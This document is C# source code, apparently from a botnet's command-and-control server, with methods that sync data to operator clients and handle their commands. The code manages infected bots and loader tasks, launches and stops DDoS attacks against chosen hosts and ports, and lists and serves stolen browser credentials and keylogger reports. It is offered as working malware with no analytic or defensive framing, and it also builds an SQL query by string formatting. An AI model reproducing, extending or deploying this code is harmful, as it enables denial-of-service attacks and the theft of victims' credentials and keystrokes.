void Thread_SyncData() { while (this.m_bIsSyncRunning) { try { Int32 iTotalBots = m_BotHandler.GetTotal(); Int32 iOnlineBots = m_BotHandler.GetTotalOnline(); Int32 iTotalLoaderTasks = m_TaskHandler.GetTotal(); int iTotalDdosTasks = m_DdosHandler.GetTotal(); int iAVG_CPU_Usage = m_BotHandler.GetAVGCPUUsage(); for (int i = 0; i < this.m_MasterHandler.GetTotal(); i++) { try { bool bUpdate = false; CMaster Master = m_MasterHandler.GetByIndex(i); if (Master == null || !Master.IsAuthorized) { continue; } string strBotlist = m_BotHandler.GetBotlist(Master.CurrentBotPage); if (strBotlist != Master.CurrentBotlist) { Master.SendBotlist(strBotlist, Master.CurrentBotPage); Master.CurrentBotlist = strBotlist; bUpdate = true; } string strTasklist = m_TaskHandler.GetTasklist(); if (strTasklist != Master.CurrentTasklist) { Master.SendTasklist(strTasklist); Master.CurrentTasklist = strTasklist; bUpdate = true; } string strDdosList = m_DdosHandler.GetDdoslist(); if (strDdosList != Master.CurrentDdosList) { Master.SendDdosList(strDdosList); Master.CurrentDdosList = strDdosList; bUpdate = true; } string strStealerList = CStealerManager.GetPage(Master.CurrentStealerPage, Master.StealerTags); if (strStealerList != Master.CurrentStealerList) { Master.SendStealerList(strStealerList, Master.CurrentStealerPage); Master.CurrentStealerList = strStealerList; bUpdate = true; } string strKeyloggerList = CKeylogManager.GetPage(m_BotHandler, Master.CurrentKeyloggerPage, Master.KeyloggerTags); if (strKeyloggerList != Master.CurrentKeyloggerList) { Master.SendKeylogList(strKeyloggerList, Master.CurrentKeyloggerPage); Master.CurrentKeyloggerList = strKeyloggerList; bUpdate = true; } string strOSStatistics = m_BotHandler.GetOSInfo(); if (strOSStatistics != Master.OSStatistics) { if (Master.SendStatistics(STATISTICS_TYPE.OS, strOSStatistics)) { Master.OSStatistics = strOSStatistics; } bUpdate = true; } string strCountryStatistics = m_BotHandler.GetCountryInfo(); if (strCountryStatistics != Master.CountryStatistics) { if (Master.SendStatistics(STATISTICS_TYPE.COUNTRY, strCountryStatistics)) { Master.CountryStatistics = strCountryStatistics; } bUpdate = true; } int iTotalBrowserStealer = CStealerManager.GetTotal(Master.StealerTags); int iTotalKeylog = CKeylogManager.GetTotal(Master.KeyloggerTags); if (Master.TotalBots == iTotalBots && Master.OnlineBots == iOnlineBots && Master.TotalLoaderTasks == iTotalLoaderTasks && Master.TotalDdosTasks == iTotalDdosTasks && Master.ResultsPerPage == CConfig.ResultsPerPage && Master.TotalStealerReports == iTotalBrowserStealer && Master.TotalKeylogReports == iTotalKeylog && Master.Avg_CPU_Usage == iAVG_CPU_Usage) { continue; } if (Master.SendStatistics(STATISTICS_TYPE.INFORMATION, string.Format( "{0};{1};{2};{3};{4};{5};{6};{7}", iTotalBots, iOnlineBots, iTotalLoaderTasks, CConfig.ResultsPerPage, iTotalDdosTasks, iTotalBrowserStealer, iTotalKeylog, iAVG_CPU_Usage) )) { Master.TotalBots = iTotalBots; Master.OnlineBots = iOnlineBots; Master.TotalLoaderTasks = iTotalLoaderTasks; Master.TotalDdosTasks = iTotalDdosTasks; Master.ResultsPerPage = CConfig.ResultsPerPage; Master.TotalStealerReports = iTotalBrowserStealer; Master.TotalKeylogReports = iTotalKeylog; Master.Avg_CPU_Usage = iAVG_CPU_Usage; bUpdate = true; Console.WriteLine(CConstants.MasterSentStatistics); } if (bUpdate) { this.m_MasterHandler.ReplaceByIndex(i, Master); } } catch { } } iLastSync = Environment.TickCount; while ((Environment.TickCount - iLastSync) < 15 * 1000) { Thread.Sleep(10); } } catch { } } }
/// <summary> /// Handles received data from Clients that have been identified as Master. /// </summary> /// <param name="Master"></param> /// <param name="Packet"></param> /// <param name="arr_strArguments"></param> void HandleMasterPacket(CMaster Master, MASTER_PACKET Packet, String[] arr_strArguments) { try { switch (Packet) { case MASTER_PACKET.LOGIN_KEY: { if (String.IsNullOrEmpty(Master.Public_Key)) { if (!CUtilities.IsRSAKey(arr_strArguments[0])) { Console.WriteLine("Invalid RSA-Key received."); Master.MasterClient.Stop(); return; } CMaster new_Master = Master; new_Master.Public_Key = arr_strArguments[0]; m_MasterHandler.ReplaceBySocket(Master.MasterClient, new_Master); CMain.DatabaseClient.ExecuteNonResultQuery(String.Format( "UPDATE masters SET master_key='{0}' WHERE master_id={1}", new_Master.Public_Key, new_Master.Master_ID)); new_Master.SendRSAAuth(); } else { if (Master.AuthString == arr_strArguments[0]) { Console.WriteLine("[EVENT] Received correct AuthString."); CMaster new_Master = Master; new_Master.IsAuthorized = true; m_MasterHandler.ReplaceBySocket(Master.MasterClient, new_Master); if (Master.SendAuth()) { Console.WriteLine(CConstants.MasterAuthorized); iLastSync = 0; } else { Master.MasterClient.Stop(); } } else { Console.WriteLine("[EVENT] Received incorrect AuthString."); } } } break; case MASTER_PACKET.BOTLIST: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != CConstants.MASTER_BOTLIST_ARGUMENT_LENGTH) { break; } Int32 iBotPage = -1; if (Int32.TryParse(arr_strArguments[0], out iBotPage)) { if (Master.SendBotlist(m_BotHandler.GetBotlist(iBotPage), iBotPage)) { Console.WriteLine(CConstants.MasterSentBotlist); } } } break; case MASTER_PACKET.ADD_TASK: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != CConstants.MASTER_ADDTASK_ARGUMENT_LENGTH) { break; } /* * [0] = Task(Int32) * [1] = Parameters(String) * [2] = Executes(Int32) */ Int32 iNewTask, iExecutes; if (Int32.TryParse(arr_strArguments[0], out iNewTask) && Int32.TryParse(arr_strArguments[2], out iExecutes)) { m_TaskHandler.Add((BOT_TASK)iNewTask, arr_strArguments[1], iExecutes); iLastSync = 0; } } break; case MASTER_PACKET.REMOVE_TASK: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != CConstants.MASTER_REMOVETASK_ARGUMENT_LENGTH) { break; } Int32 iRemoveTaskID = -1; if (Int32.TryParse(arr_strArguments[0], out iRemoveTaskID)) { if (m_TaskHandler.Remove(iRemoveTaskID)) { Master.SendTaskRemoved(iRemoveTaskID); } } } break; case MASTER_PACKET.DDOS: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != 5 /*Add without time configuration*/ && arr_strArguments.Length != 6 /*Add with time configuration*/ && arr_strArguments.Length != 1 /*Remove Task*/) { break; } /* * [0] = Host * [1] = Port * [2] = Type * [3] = Sockets * [4] = Interval * [5] = Hours for attack time */ if (arr_strArguments.Length > 1) { int iPort, iType, iSockets, iInterval; if (!int.TryParse(arr_strArguments[1], out iPort) || !int.TryParse(arr_strArguments[2], out iType) || !int.TryParse(arr_strArguments[3], out iSockets) || !int.TryParse(arr_strArguments[4], out iInterval)) { break; } DateTime?EndDate = null; if (arr_strArguments.Length == 6) { double dHours = -1; if (double.TryParse(arr_strArguments[5], out dHours)) { EndDate = DateTime.Now; EndDate = EndDate.Value.AddHours(dHours); } else { break; } } m_DdosHandler.AddDdos(arr_strArguments[0], iPort, iType, EndDate, iSockets, iInterval); iLastSync = 0; } else if (arr_strArguments.Length == 1) { int iAttackID = -1; if (!int.TryParse(arr_strArguments[0], out iAttackID)) { break; } m_DdosHandler.StopAttack(iAttackID); } } break; case MASTER_PACKET.STEALERLIST: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != 1) { break; } int iPage = -1; if (!int.TryParse(arr_strArguments[0], out iPage)) { break; } Master.SendStealerList(CStealerManager.GetPage(iPage, Master.StealerTags), iPage); } break; case MASTER_PACKET.KEYLOGLIST: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != 1) { break; } int iPage = -1; if (!int.TryParse(arr_strArguments[0], out iPage)) { break; } Master.SendKeylogList(CKeylogManager.GetPage(m_BotHandler, iPage, Master.KeyloggerTags), iPage); } break; case MASTER_PACKET.KEYLOG: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != 1) { break; } int iID = -1; if (!int.TryParse(arr_strArguments[0], out iID)) { break; } Master.SendKeylogReport(iID); } break; case MASTER_PACKET.KEYLOG_REMOVE: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != 1) { break; } int iReportID = -1; if (!int.TryParse(arr_strArguments[0], out iReportID)) { break; } if (CKeylogManager.RemoveReport(iReportID)) { Master.SendKeylogReportRemoved(iReportID); } } break; case MASTER_PACKET.BROWSER_STEALER_TAG: if (!Master.IsAuthorized) { break; } string strTag = string.Empty; if (arr_strArguments != null && arr_strArguments.Length == 1) { strTag = arr_strArguments[0]; } CMaster New_Master = Master; New_Master.StealerTags = strTag; m_MasterHandler.ReplaceBySocket(Master.MasterClient, New_Master); this.ForceSync(); break; case MASTER_PACKET.KEYLOG_TAG: if (!Master.IsAuthorized) { break; } strTag = string.Empty; if (arr_strArguments != null && arr_strArguments.Length == 1) { strTag = arr_strArguments[0]; } New_Master = Master; New_Master.KeyloggerTags = strTag; m_MasterHandler.ReplaceBySocket(Master.MasterClient, New_Master); this.ForceSync(); break; default: break; } } catch (Exception ex) { Console.WriteLine("[EXCEPTION] Method: HandleMasterPacket; Data: {0}", ex.ToString()); } }